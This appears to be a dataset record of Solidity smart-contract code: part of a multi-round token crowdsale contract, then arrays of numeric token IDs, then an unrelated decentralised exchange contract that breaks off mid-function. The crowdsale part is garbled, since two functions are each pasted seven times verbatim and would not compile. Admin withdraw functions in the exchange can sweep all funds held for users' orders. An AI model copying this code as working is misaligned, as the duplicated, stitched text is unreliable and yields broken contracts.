uint256 public round2TokensRemaning = 6000000 * 1 ether;
uint256 public round3TokensRemaning = 6000000 * 1 ether;
uint256 public round4TokensRemaning = 6000000 * 1 ether;
uint256 public round5TokensRemaning = 6000000 * 1 ether;
uint256 public round6TokensRemaning = 6000000 * 1 ether;
mapping(address => uint256) round1Balances;
mapping(address => uint256) round2Balances;
mapping(address => uint256) round3Balances;
mapping(address => uint256) round4Balances;
mapping(address => uint256) round5Balances;
mapping(address => uint256) round6Balances;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
event RateChanged(address indexed owner, uint256 oldRate, uint256 newRate);
function VVDBCrowdsale(address _token, address _wallet) public {
require(_wallet != address(0));
require(_token != address(0));
wallet = _wallet;
token = VVDB(_token);
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
require(canBuyTokens(tokens));
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
updateRoundBalance(tokens);
emit TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function canBuyTokens(uint256 _tokens) internal constant returns (bool)
{
uint256 currentTime = now;
uint256 purchaserTokenSum = 0;
if (currentTime<round1StartTime || currentTime>icoEndTime) return false;
if (currentTime >= round1StartTime && currentTime < round2StartTime)
{
purchaserTokenSum = _tokens + round1Balances[msg.sender];
return purchaserTokenSum <= (10000 * (10 ** uint256(18))) && _tokens <= round1TokensRemaning;
} else if (currentTime >= round2StartTime && currentTime < round3StartTime)
{
purchaserTokenSum = _tokens + round2Balances[msg.sender];
return purchaserTokenSum <= (2000 * (10 ** uint256(18))) && _tokens <= round2TokensRemaning;
} else if (currentTime >= round3StartTime && currentTime < round4StartTime)
{
purchaserTokenSum = _tokens + round3Balances[msg.sender];
return purchaserTokenSum <= (2000 * (10 ** uint256(18))) && _tokens <= round3TokensRemaning;
} else if (currentTime >= round4StartTime && currentTime < round5StartTime)
{
purchaserTokenSum = _tokens + round4Balances[msg.sender];
return purchaserTokenSum <= (2000 * (10 ** uint256(18))) && _tokens <= round4TokensRemaning;
} else if (currentTime >= round5StartTime && currentTime < round6StartTime)
{
purchaserTokenSum = _tokens + round5Balances[msg.sender];
return purchaserTokenSum <= (2000 * (10 ** uint256(18))) && _tokens <= round5TokensRemaning;
} else if (currentTime >= round6StartTime && currentTime < icoEndTime)
{
purchaserTokenSum = _tokens + round6Balances[msg.sender];
return purchaserTokenSum <= (2000 * (10 ** uint256(18))) && _tokens <= round6TokensRemaning;
}
}
function canBuyTokens(uint256 _tokens) internal constant returns (bool)
{
uint256 currentTime = now;
uint256 purchaserTokenSum = 0;
if (currentTime<round1StartTime || currentTime>icoEndTime) return false;
if (currentTime >= round1StartTime && currentTime < round2StartTime)
{
purchaserTokenSum = _tokens + round1Balances[msg.sender];
return purchaserTokenSum <= (10000 * (10 ** uint256(18))) && _tokens <= round1TokensRemaning;
} else if (currentTime >= round2StartTime && currentTime < round3StartTime)
{
purchaserTokenSum = _tokens + round2Balances[msg.sender];
return purchaserTokenSum <= (2000 * (10 ** uint256(18))) && _tokens <= round2TokensRemaning;
} else if (currentTime >= round3StartTime && currentTime < round4StartTime)
{
purchaserTokenSum = _tokens + round3Balances[msg.sender];
return purchaserTokenSum <= (2000 * (10 ** uint256(18))) && _tokens <= round3TokensRemaning;
} else if (currentTime >= round4StartTime && currentTime < round5StartTime)
{
purchaserTokenSum = _tokens + round4Balances[msg.sender];
return purchaserTokenSum <= (2000 * (10 ** uint256(18))) && _tokens <= round4TokensRemaning;
} else if (currentTime >= round5StartTime && currentTime < round6StartTime)
{
purchaserTokenSum = _tokens + round5Balances[msg.sender];
return purchaserTokenSum <= (2000 * (10 ** uint256(18))) && _tokens <= round5TokensRemaning;
} else if (currentTime >= round6StartTime && currentTime < icoEndTime)
{
purchaserTokenSum = _tokens + round6Balances[msg.sender];
return purchaserTokenSum <= (2000 * (10 ** uint256(18))) && _tokens <= round6TokensRemaning;
}
}
function canBuyTokens(uint256 _tokens) internal constant returns (bool)
{
uint256 currentTime = now;
uint256 purchaserTokenSum = 0;
if (currentTime<round1StartTime || currentTime>icoEndTime) return false;
if (currentTime >= round1StartTime && currentTime < round2StartTime)
{
purchaserTokenSum = _tokens + round1Balances[msg.sender];
return purchaserTokenSum <= (10000 * (10 ** uint256(18))) && _tokens <= round1TokensRemaning;
} else if (currentTime >= round2StartTime && currentTime < round3StartTime)
{
purchaserTokenSum = _tokens + round2Balances[msg.sender];
return purchaserTokenSum <= (2000 * (10 ** uint256(18))) && _tokens <= round2TokensRemaning;
} else if (currentTime >= round3StartTime && currentTime < round4StartTime)
{
purchaserTokenSum = _tokens + round3Balances[msg.sender];
return purchaserTokenSum <= (2000 * (10 ** uint256(18))) && _tokens <= round3TokensRemaning;
} else if (currentTime >= round4StartTime && currentTime < round5StartTime)
{
purchaserTokenSum = _tokens + round4Balances[msg.sender];
return purchaserTokenSum <= (2000 * (10 ** uint256(18))) && _tokens <= round4TokensRemaning;
} else if (currentTime >= round5StartTime && currentTime < round6StartTime)
{
purchaserTokenSum = _tokens + round5Balances[msg.sender];
return purchaserTokenSum <= (2000 * (10 ** uint256(18))) && _tokens <= round5TokensRemaning;
} else if (currentTime >= round6StartTime && currentTime < icoEndTime)
{
purchaserTokenSum = _tokens + round6Balances[msg.sender];
return purchaserTokenSum <= (2000 * (10 ** uint256(18))) && _tokens <= round6TokensRemaning;
}
}
function canBuyTokens(uint256 _tokens) internal constant returns (bool)
{
uint256 currentTime = now;
uint256 purchaserTokenSum = 0;
if (currentTime<round1StartTime || currentTime>icoEndTime) return false;
if (currentTime >= round1StartTime && currentTime < round2StartTime)
{
purchaserTokenSum = _tokens + round1Balances[msg.sender];
return purchaserTokenSum <= (10000 * (10 ** uint256(18))) && _tokens <= round1TokensRemaning;
} else if (currentTime >= round2StartTime && currentTime < round3StartTime)
{
purchaserTokenSum = _tokens + round2Balances[msg.sender];
return purchaserTokenSum <= (2000 * (10 ** uint256(18))) && _tokens <= round2TokensRemaning;
} else if (currentTime >= round3StartTime && currentTime < round4StartTime)
{
purchaserTokenSum = _tokens + round3Balances[msg.sender];
return purchaserTokenSum <= (2000 * (10 ** uint256(18))) && _tokens <= round3TokensRemaning;
} else if (currentTime >= round4StartTime && currentTime < round5StartTime)
{
purchaserTokenSum = _tokens + round4Balances[msg.sender];
return purchaserTokenSum <= (2000 * (10 ** uint256(18))) && _tokens <= round4TokensRemaning;
} else if (currentTime >= round5StartTime && currentTime < round6StartTime)
{
purchaserTokenSum = _tokens + round5Balances[msg.sender];
return purchaserTokenSum <= (2000 * (10 ** uint256(18))) && _tokens <= round5TokensRemaning;
} else if (currentTime >= round6StartTime && currentTime < icoEndTime)
{
purchaserTokenSum = _tokens + round6Balances[msg.sender];
return purchaserTokenSum <= (2000 * (10 ** uint256(18))) && _tokens <= round6TokensRemaning;
}
}
function canBuyTokens(uint256 _tokens) internal constant returns (bool)
{
uint256 currentTime = now;
uint256 purchaserTokenSum = 0;
if (currentTime<round1StartTime || currentTime>icoEndTime) return false;
if (currentTime >= round1StartTime && currentTime < round2StartTime)
{
purchaserTokenSum = _tokens + round1Balances[msg.sender];
return purchaserTokenSum <= (10000 * (10 ** uint256(18))) && _tokens <= round1TokensRemaning;
} else if (currentTime >= round2StartTime && currentTime < round3StartTime)
{
purchaserTokenSum = _tokens + round2Balances[msg.sender];
return purchaserTokenSum <= (2000 * (10 ** uint256(18))) && _tokens <= round2TokensRemaning;
} else if (currentTime >= round3StartTime && currentTime < round4StartTime)
{
purchaserTokenSum = _tokens + round3Balances[msg.sender];
return purchaserTokenSum <= (2000 * (10 ** uint256(18))) && _tokens <= round3TokensRemaning;
} else if (currentTime >= round4StartTime && currentTime < round5StartTime)
{
purchaserTokenSum = _tokens + round4Balances[msg.sender];
return purchaserTokenSum <= (2000 * (10 ** uint256(18))) && _tokens <= round4TokensRemaning;
} else if (currentTime >= round5StartTime && currentTime < round6StartTime)
{
purchaserTokenSum = _tokens + round5Balances[msg.sender];
return purchaserTokenSum <= (2000 * (10 ** uint256(18))) && _tokens <= round5TokensRemaning;
} else if (currentTime >= round6StartTime && currentTime < icoEndTime)
{
purchaserTokenSum = _tokens + round6Balances[msg.sender];
return purchaserTokenSum <= (2000 * (10 ** uint256(18))) && _tokens <= round6TokensRemaning;
}
}
function canBuyTokens(uint256 _tokens) internal constant returns (bool)
{
uint256 currentTime = now;
uint256 purchaserTokenSum = 0;
if (currentTime<round1StartTime || currentTime>icoEndTime) return false;
if (currentTime >= round1StartTime && currentTime < round2StartTime)
{
purchaserTokenSum = _tokens + round1Balances[msg.sender];
return purchaserTokenSum <= (10000 * (10 ** uint256(18))) && _tokens <= round1TokensRemaning;
} else if (currentTime >= round2StartTime && currentTime < round3StartTime)
{
purchaserTokenSum = _tokens + round2Balances[msg.sender];
return purchaserTokenSum <= (2000 * (10 ** uint256(18))) && _tokens <= round2TokensRemaning;
} else if (currentTime >= round3StartTime && currentTime < round4StartTime)
{
purchaserTokenSum = _tokens + round3Balances[msg.sender];
return purchaserTokenSum <= (2000 * (10 ** uint256(18))) && _tokens <= round3TokensRemaning;
} else if (currentTime >= round4StartTime && currentTime < round5StartTime)
{
purchaserTokenSum = _tokens + round4Balances[msg.sender];
return purchaserTokenSum <= (2000 * (10 ** uint256(18))) && _tokens <= round4TokensRemaning;
} else if (currentTime >= round5StartTime && currentTime < round6StartTime)
{
purchaserTokenSum = _tokens + round5Balances[msg.sender];
return purchaserTokenSum <= (2000 * (10 ** uint256(18))) && _tokens <= round5TokensRemaning;
} else if (currentTime >= round6StartTime && currentTime < icoEndTime)
{
purchaserTokenSum = _tokens + round6Balances[msg.sender];
return purchaserTokenSum <= (2000 * (10 ** uint256(18))) && _tokens <= round6TokensRemaning;
}
}
function canBuyTokens(uint256 _tokens) internal constant returns (bool)
{
uint256 currentTime = now;
uint256 purchaserTokenSum = 0;
if (currentTime<round1StartTime || currentTime>icoEndTime) return false;
if (currentTime >= round1StartTime && currentTime < round2StartTime)
{
purchaserTokenSum = _tokens + round1Balances[msg.sender];
return purchaserTokenSum <= (10000 * (10 ** uint256(18))) && _tokens <= round1TokensRemaning;
} else if (currentTime >= round2StartTime && currentTime < round3StartTime)
{
purchaserTokenSum = _tokens + round2Balances[msg.sender];
return purchaserTokenSum <= (2000 * (10 ** uint256(18))) && _tokens <= round2TokensRemaning;
} else if (currentTime >= round3StartTime && currentTime < round4StartTime)
{
purchaserTokenSum = _tokens + round3Balances[msg.sender];
return purchaserTokenSum <= (2000 * (10 ** uint256(18))) && _tokens <= round3TokensRemaning;
} else if (currentTime >= round4StartTime && currentTime < round5StartTime)
{
purchaserTokenSum = _tokens + round4Balances[msg.sender];
return purchaserTokenSum <= (2000 * (10 ** uint256(18))) && _tokens <= round4TokensRemaning;
} else if (currentTime >= round5StartTime && currentTime < round6StartTime)
{
purchaserTokenSum = _tokens + round5Balances[msg.sender];
return purchaserTokenSum <= (2000 * (10 ** uint256(18))) && _tokens <= round5TokensRemaning;
} else if (currentTime >= round6StartTime && currentTime < icoEndTime)
{
purchaserTokenSum = _tokens + round6Balances[msg.sender];
return purchaserTokenSum <= (2000 * (10 ** uint256(18))) && _tokens <= round6TokensRemaning;
}
}
function updateRoundBalance(uint256 _tokens) internal
{
uint256 currentTime = now;
if (currentTime >= round1StartTime && currentTime < round2StartTime)
{
round1Balances[msg.sender] = round1Balances[msg.sender].add(_tokens);
round1TokensRemaning = round1TokensRemaning.sub(_tokens);
} else if (currentTime >= round2StartTime && currentTime < round3StartTime)
{
round2Balances[msg.sender] = round2Balances[msg.sender].add(_tokens);
round2TokensRemaning = round2TokensRemaning.sub(_tokens);
} else if (currentTime >= round3StartTime && currentTime < round4StartTime)
{
round3Balances[msg.sender] = round3Balances[msg.sender].add(_tokens);
round3TokensRemaning = round3TokensRemaning.sub(_tokens);
} else if (currentTime >= round4StartTime && currentTime < round5StartTime)
{
round4Balances[msg.sender] = round4Balances[msg.sender].add(_tokens);
round4TokensRemaning = round4TokensRemaning.sub(_tokens);
} else if (currentTime >= round5StartTime && currentTime < round6StartTime)
{
round5Balances[msg.sender] = round5Balances[msg.sender].add(_tokens);
round5TokensRemaning = round5TokensRemaning.sub(_tokens);
} else if (currentTime >= round6StartTime && currentTime < icoEndTime)
{
round6Balances[msg.sender] = round6Balances[msg.sender].add(_tokens);
round6TokensRemaning = round6TokensRemaning.sub(_tokens);
}
}
function updateRoundBalance(uint256 _tokens) internal
{
uint256 currentTime = now;
if (currentTime >= round1StartTime && currentTime < round2StartTime)
{
round1Balances[msg.sender] = round1Balances[msg.sender].add(_tokens);
round1TokensRemaning = round1TokensRemaning.sub(_tokens);
} else if (currentTime >= round2StartTime && currentTime < round3StartTime)
{
round2Balances[msg.sender] = round2Balances[msg.sender].add(_tokens);
round2TokensRemaning = round2TokensRemaning.sub(_tokens);
} else if (currentTime >= round3StartTime && currentTime < round4StartTime)
{
round3Balances[msg.sender] = round3Balances[msg.sender].add(_tokens);
round3TokensRemaning = round3TokensRemaning.sub(_tokens);
} else if (currentTime >= round4StartTime && currentTime < round5StartTime)
{
round4Balances[msg.sender] = round4Balances[msg.sender].add(_tokens);
round4TokensRemaning = round4TokensRemaning.sub(_tokens);
} else if (currentTime >= round5StartTime && currentTime < round6StartTime)
{
round5Balances[msg.sender] = round5Balances[msg.sender].add(_tokens);
round5TokensRemaning = round5TokensRemaning.sub(_tokens);
} else if (currentTime >= round6StartTime && currentTime < icoEndTime)
{
round6Balances[msg.sender] = round6Balances[msg.sender].add(_tokens);
round6TokensRemaning = round6TokensRemaning.sub(_tokens);
}
}
function updateRoundBalance(uint256 _tokens) internal
{
uint256 currentTime = now;
if (currentTime >= round1StartTime && currentTime < round2StartTime)
{
round1Balances[msg.sender] = round1Balances[msg.sender].add(_tokens);
round1TokensRemaning = round1TokensRemaning.sub(_tokens);
} else if (currentTime >= round2StartTime && currentTime < round3StartTime)
{
round2Balances[msg.sender] = round2Balances[msg.sender].add(_tokens);
round2TokensRemaning = round2TokensRemaning.sub(_tokens);
} else if (currentTime >= round3StartTime && currentTime < round4StartTime)
{
round3Balances[msg.sender] = round3Balances[msg.sender].add(_tokens);
round3TokensRemaning = round3TokensRemaning.sub(_tokens);
} else if (currentTime >= round4StartTime && currentTime < round5StartTime)
{
round4Balances[msg.sender] = round4Balances[msg.sender].add(_tokens);
round4TokensRemaning = round4TokensRemaning.sub(_tokens);
} else if (currentTime >= round5StartTime && currentTime < round6StartTime)
{
round5Balances[msg.sender] = round5Balances[msg.sender].add(_tokens);
round5TokensRemaning = round5TokensRemaning.sub(_tokens);
} else if (currentTime >= round6StartTime && currentTime < icoEndTime)
{
round6Balances[msg.sender] = round6Balances[msg.sender].add(_tokens);
round6TokensRemaning = round6TokensRemaning.sub(_tokens);
}
}
function updateRoundBalance(uint256 _tokens) internal
{
uint256 currentTime = now;
if (currentTime >= round1StartTime && currentTime < round2StartTime)
{
round1Balances[msg.sender] = round1Balances[msg.sender].add(_tokens);
round1TokensRemaning = round1TokensRemaning.sub(_tokens);
} else if (currentTime >= round2StartTime && currentTime < round3StartTime)
{
round2Balances[msg.sender] = round2Balances[msg.sender].add(_tokens);
round2TokensRemaning = round2TokensRemaning.sub(_tokens);
} else if (currentTime >= round3StartTime && currentTime < round4StartTime)
{
round3Balances[msg.sender] = round3Balances[msg.sender].add(_tokens);
round3TokensRemaning = round3TokensRemaning.sub(_tokens);
} else if (currentTime >= round4StartTime && currentTime < round5StartTime)
{
round4Balances[msg.sender] = round4Balances[msg.sender].add(_tokens);
round4TokensRemaning = round4TokensRemaning.sub(_tokens);
} else if (currentTime >= round5StartTime && currentTime < round6StartTime)
{
round5Balances[msg.sender] = round5Balances[msg.sender].add(_tokens);
round5TokensRemaning = round5TokensRemaning.sub(_tokens);
} else if (currentTime >= round6StartTime && currentTime < icoEndTime)
{
round6Balances[msg.sender] = round6Balances[msg.sender].add(_tokens);
round6TokensRemaning = round6TokensRemaning.sub(_tokens);
}
}
function updateRoundBalance(uint256 _tokens) internal
{
uint256 currentTime = now;
if (currentTime >= round1StartTime && currentTime < round2StartTime)
{
round1Balances[msg.sender] = round1Balances[msg.sender].add(_tokens);
round1TokensRemaning = round1TokensRemaning.sub(_tokens);
} else if (currentTime >= round2StartTime && currentTime < round3StartTime)
{
round2Balances[msg.sender] = round2Balances[msg.sender].add(_tokens);
round2TokensRemaning = round2TokensRemaning.sub(_tokens);
} else if (currentTime >= round3StartTime && currentTime < round4StartTime)
{
round3Balances[msg.sender] = round3Balances[msg.sender].add(_tokens);
round3TokensRemaning = round3TokensRemaning.sub(_tokens);
} else if (currentTime >= round4StartTime && currentTime < round5StartTime)
{
round4Balances[msg.sender] = round4Balances[msg.sender].add(_tokens);
round4TokensRemaning = round4TokensRemaning.sub(_tokens);
} else if (currentTime >= round5StartTime && currentTime < round6StartTime)
{
round5Balances[msg.sender] = round5Balances[msg.sender].add(_tokens);
round5TokensRemaning = round5TokensRemaning.sub(_tokens);
} else if (currentTime >= round6StartTime && currentTime < icoEndTime)
{
round6Balances[msg.sender] = round6Balances[msg.sender].add(_tokens);
round6TokensRemaning = round6TokensRemaning.sub(_tokens);
}
}
function updateRoundBalance(uint256 _tokens) internal
{
uint256 currentTime = now;
if (currentTime >= round1StartTime && currentTime < round2StartTime)
{
round1Balances[msg.sender] = round1Balances[msg.sender].add(_tokens);
round1TokensRemaning = round1TokensRemaning.sub(_tokens);
} else if (currentTime >= round2StartTime && currentTime < round3StartTime)
{
round2Balances[msg.sender] = round2Balances[msg.sender].add(_tokens);
round2TokensRemaning = round2TokensRemaning.sub(_tokens);
} else if (currentTime >= round3StartTime && currentTime < round4StartTime)
{
round3Balances[msg.sender] = round3Balances[msg.sender].add(_tokens);
round3TokensRemaning = round3TokensRemaning.sub(_tokens);
} else if (currentTime >= round4StartTime && currentTime < round5StartTime)
{
round4Balances[msg.sender] = round4Balances[msg.sender].add(_tokens);
round4TokensRemaning = round4TokensRemaning.sub(_tokens);
} else if (currentTime >= round5StartTime && currentTime < round6StartTime)
{
round5Balances[msg.sender] = round5Balances[msg.sender].add(_tokens);
round5TokensRemaning = round5TokensRemaning.sub(_tokens);
} else if (currentTime >= round6StartTime && currentTime < icoEndTime)
{
round6Balances[msg.sender] = round6Balances[msg.sender].add(_tokens);
round6TokensRemaning = round6TokensRemaning.sub(_tokens);
}
}
function updateRoundBalance(uint256 _tokens) internal
{
uint256 currentTime = now;
if (currentTime >= round1StartTime && currentTime < round2StartTime)
{
round1Balances[msg.sender] = round1Balances[msg.sender].add(_tokens);
round1TokensRemaning = round1TokensRemaning.sub(_tokens);
} else if (currentTime >= round2StartTime && currentTime < round3StartTime)
{
round2Balances[msg.sender] = round2Balances[msg.sender].add(_tokens);
round2TokensRemaning = round2TokensRemaning.sub(_tokens);
} else if (currentTime >= round3StartTime && currentTime < round4StartTime)
{
round3Balances[msg.sender] = round3Balances[msg.sender].add(_tokens);
round3TokensRemaning = round3TokensRemaning.sub(_tokens);
} else if (currentTime >= round4StartTime && currentTime < round5StartTime)
{
round4Balances[msg.sender] = round4Balances[msg.sender].add(_tokens);
round4TokensRemaning = round4TokensRemaning.sub(_tokens);
} else if (currentTime >= round5StartTime && currentTime < round6StartTime)
{
round5Balances[msg.sender] = round5Balances[msg.sender].add(_tokens);
round5TokensRemaning = round5TokensRemaning.sub(_tokens);
} else if (currentTime >= round6StartTime && currentTime < icoEndTime)
{
round6Balances[msg.sender] = round6Balances[msg.sender].add(_tokens);
round6TokensRemaning = round6TokensRemaning.sub(_tokens);
}
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal pure {
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(address _beneficiary, uint256 _weiAmount) internal pure {
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.transfer(_beneficiary, _tokenAmount);
}
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal pure {
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
function tokenBalance() constant public returns (uint256) {
return token.balanceOf(this);
}
function changeRate(uint256 _rate) onlyOwner public returns (bool) {
emit RateChanged(msg.sender, rate, _rate);
rate = _rate;
return true;
}
function getRate() public view returns (uint256) {
return rate;
}
function transferBack(uint256 tokens) onlyOwner public returns (bool) {
token.transfer(owner, tokens);
return true;
}
} | 7,019,786 | [
1,
1986,
1147,
3832,
272,
1673,
5267,
1625,
284,
19156,
854,
12230,
9017,
4906,
1147,
4971,
279,
27037,
5571,
1534,
732,
77,
261,
280,
2430,
1534,
512,
2455,
13,
16811,
434,
732,
77,
11531,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
776,
58,
13183,
492,
2377,
5349,
353,
14223,
6914,
288,
203,
202,
9940,
14060,
10477,
364,
2254,
5034,
31,
203,
203,
202,
58,
58,
2290,
1071,
1147,
31,
203,
203,
202,
2867,
1071,
9230,
31,
203,
203,
202,
11890,
5034,
1071,
4993,
273,
2371,
4848,
31,
203,
203,
202,
11890,
5034,
1071,
732,
77,
12649,
5918,
31,
203,
202,
203,
202,
11890,
5034,
1071,
3643,
21,
5157,
1933,
304,
310,
202,
33,
1666,
9449,
380,
404,
225,
2437,
31,
203,
202,
11890,
5034,
1071,
3643,
22,
5157,
1933,
304,
310,
202,
33,
1666,
9449,
380,
404,
225,
2437,
31,
203,
202,
11890,
5034,
1071,
3643,
23,
5157,
1933,
304,
310,
202,
33,
1666,
9449,
380,
404,
225,
2437,
31,
203,
202,
11890,
5034,
1071,
3643,
24,
5157,
1933,
304,
310,
202,
33,
1666,
9449,
380,
404,
225,
2437,
31,
203,
202,
11890,
5034,
1071,
3643,
25,
5157,
1933,
304,
310,
202,
33,
1666,
9449,
380,
404,
225,
2437,
31,
203,
202,
11890,
5034,
1071,
3643,
26,
5157,
1933,
304,
310,
202,
33,
1666,
9449,
380,
404,
225,
2437,
31,
203,
202,
203,
202,
6770,
12,
2867,
516,
2254,
5034,
13,
3643,
21,
38,
26488,
31,
203,
202,
6770,
12,
2867,
516,
2254,
5034,
13,
3643,
22,
38,
26488,
31,
203,
202,
6770,
12,
2867,
516,
2254,
5034,
13,
3643,
23,
38,
26488,
31,
203,
202,
6770,
12,
2867,
516,
2254,
5034,
13,
3643,
24,
38,
26488,
31,
203,
202,
6770,
12,
2867,
516,
2254,
5034,
13,
3643,
25,
38,
26488,
31,
203,
202,
2
] |
pragma solidity ^0.4.19;
import "./SafeMath.sol";
import "./TST20Interface.sol";
import "./PermissionGroups.sol";
contract TDEX is PermissionGroups {
using SafeMath for uint;
TST20 public MyToken;
struct Order {
address user;
uint amount; // (wei)
uint price; // (wei/10**orderDecimals)
uint withhold; // withhold tx fee for buy order only (wei)
}
uint constant public decimals = 18;
uint constant public orderDecimals = 15; // CUSD-17 CCNY-16 CKRW-14 ACN-14 CLAY-14
uint constant public million = 10**6;
uint public lastExecutionPrice = 0; // last execution price (wei/10**orderDecimals)
uint public maxBuyPrice = 0; // buy token by TTC (wei/10**orderDecimals)
uint public minSellPrice = 10**decimals; // sell token (wei/10**orderDecimals)
mapping(uint => uint[]) public buyTokenOrderMap; // price(wei/10**orderDecimals) => orderID []
mapping(uint => uint[]) public sellTokenOrderMap; // price(wei/10**orderDecimals) => orderID []
mapping(uint => uint) public buyStartPos; // price(wei/10**orderDecimals) => start index of buyTokenOrderMap
mapping(uint => uint) public sellStartPos; // price(wei/10**orderDecimals) => start index of sellTokenOrderMap
mapping(uint => uint) public buyAmountByPrice; // price(wei/10**orderDecimals) => amount
mapping(uint => uint) public sellAmountByPrice; // price(wei/10**orderDecimals) => amount
uint public orderID = 0; // auto increase
mapping(uint => Order) public allBuyOrder; // orderID => Order
mapping(uint => Order) public allSellOrder; // orderID => Order
uint public minOrderValue = 2*10**decimals; // 2 TTC
uint public makerFeeRate = 0; //1000 is 1/1000 rate by million
uint public takerFeeRate = 0; //3000 is 3/1000 rate by million
uint public maxPriceRange = 300;
address public adminWithdrawAddress;
event TE(uint t, address indexed addr, uint orderID, uint index, uint amount, uint price, bool sign);
// user operation
// 1 - addBuyTokenOrder
// 2 - addSellTokenOrder
// 3 - exeBuyOrder (sign == true if maker)
// 4 - exeSellOrder (sign == true if maker)
// 5 - cancelBuyOrder (sign == true if cancel by admin)
// 6 - cancelSellOrder (sign == true if cancel by admin)
// 7 - refundBuyerExtraTTC
// 8 - adminCollectTxFee
/* init address */
function initAddressSettings(uint _type,address _addr) public onlyAdmin {
require(_addr != address(0));
if (_type == 1) {
adminWithdrawAddress = _addr;
}else if (_type == 2 ) {
MyToken = TST20(_addr);
}
}
/* withdraw TTC by admin */
function withdrawTTC() public onlyAdmin {
require(adminWithdrawAddress != address(0));
require(adminWithdrawAddress.send(this.balance));
}
/* withdraw Token by admin */
function withdrawToken() public onlyAdmin{
require(adminWithdrawAddress != address(0));
MyToken.transfer(adminWithdrawAddress, MyToken.balanceOf(this));
}
/* set max price range */
function setMaxPriceRange(uint _value) public onlyOperator {
maxPriceRange = _value;
}
/* set min token amount by admin */
function setMinOrderValue(uint _value) public onlyOperator {
minOrderValue = _value;
}
/* set maker fee rate, order id is smaller */
function setMakerFeeRate(uint _rate) public onlyOperator {
require(_rate <= takerFeeRate);
makerFeeRate = _rate;
}
/* set taker fee rate, order id is larger */
function setTakerFeeRate(uint _rate) public onlyOperator {
require(_rate < million.div(2) && _rate >= makerFeeRate);
takerFeeRate = _rate;
}
/* add buy order, price (wei/ttc) */
function addBuyTokenOrder(uint _price) public payable {
require(msg.value >= minOrderValue);
// use taker fee as withhold, because taker fee >= maker fee
uint withhold = msg.value.mul(takerFeeRate).div(million.add(takerFeeRate));
// calculate _amount by (msg.value - withhold)/ _price
uint _amount = msg.value.sub(withhold).mul(10**decimals).div(_price);
_price = _price.div(10**orderDecimals);
if (lastExecutionPrice != 0) {
require(_price < lastExecutionPrice.add(maxPriceRange));
if (lastExecutionPrice > maxPriceRange){
require(_price > lastExecutionPrice.sub(maxPriceRange));
}
}
// orderID auto increase
orderID += 1;
// create order
allBuyOrder[orderID] = Order({
user:msg.sender,
amount:_amount,
price:_price,
withhold: withhold
});
buyTokenOrderMap[_price].push(orderID);
// update maxBuyPrice
if (maxBuyPrice < _price) {
maxBuyPrice = _price;
}
buyAmountByPrice[_price] = buyAmountByPrice[_price].add(_amount);
TE(1, msg.sender, orderID,buyTokenOrderMap[_price].length - 1, _amount, _price.mul(10**orderDecimals),false);
}
/* add sell order, amount(wei), price (wei/ttc) */
function addSellTokenOrder(uint _amount, uint _price) public {
require(_amount.mul(_price).div(10**decimals) >= minOrderValue);
_price = _price.div(10**orderDecimals);
if (lastExecutionPrice!=0){
require(_price < lastExecutionPrice.add(maxPriceRange));
if (lastExecutionPrice > maxPriceRange) {
require(_price > lastExecutionPrice.sub(maxPriceRange));
}
}
MyToken.transferFrom(msg.sender, this, _amount);
// orderID auto increase
orderID += 1;
allSellOrder[orderID] = Order({
user:msg.sender,
amount:_amount,
price:_price,
withhold: 0
});
sellTokenOrderMap[_price].push(orderID);
// udpate minSellPrice
if (minSellPrice > _price) {
minSellPrice = _price;
}
sellAmountByPrice[_price] = sellAmountByPrice[_price].add(_amount);
TE(2, msg.sender, orderID,sellTokenOrderMap[_price].length - 1, _amount, _price.mul(10**orderDecimals),false);
}
/* orders can execute exist */
function existExecutionOrders() public view returns (bool) {
if (minSellPrice <= maxBuyPrice) {
return true;
}else {
return false;
}
}
/* query first sell order ID on min sell price, return 0 if order ID can not be found */
function querySellOrderID() internal returns (uint){
uint minSellIndex = sellStartPos[minSellPrice];
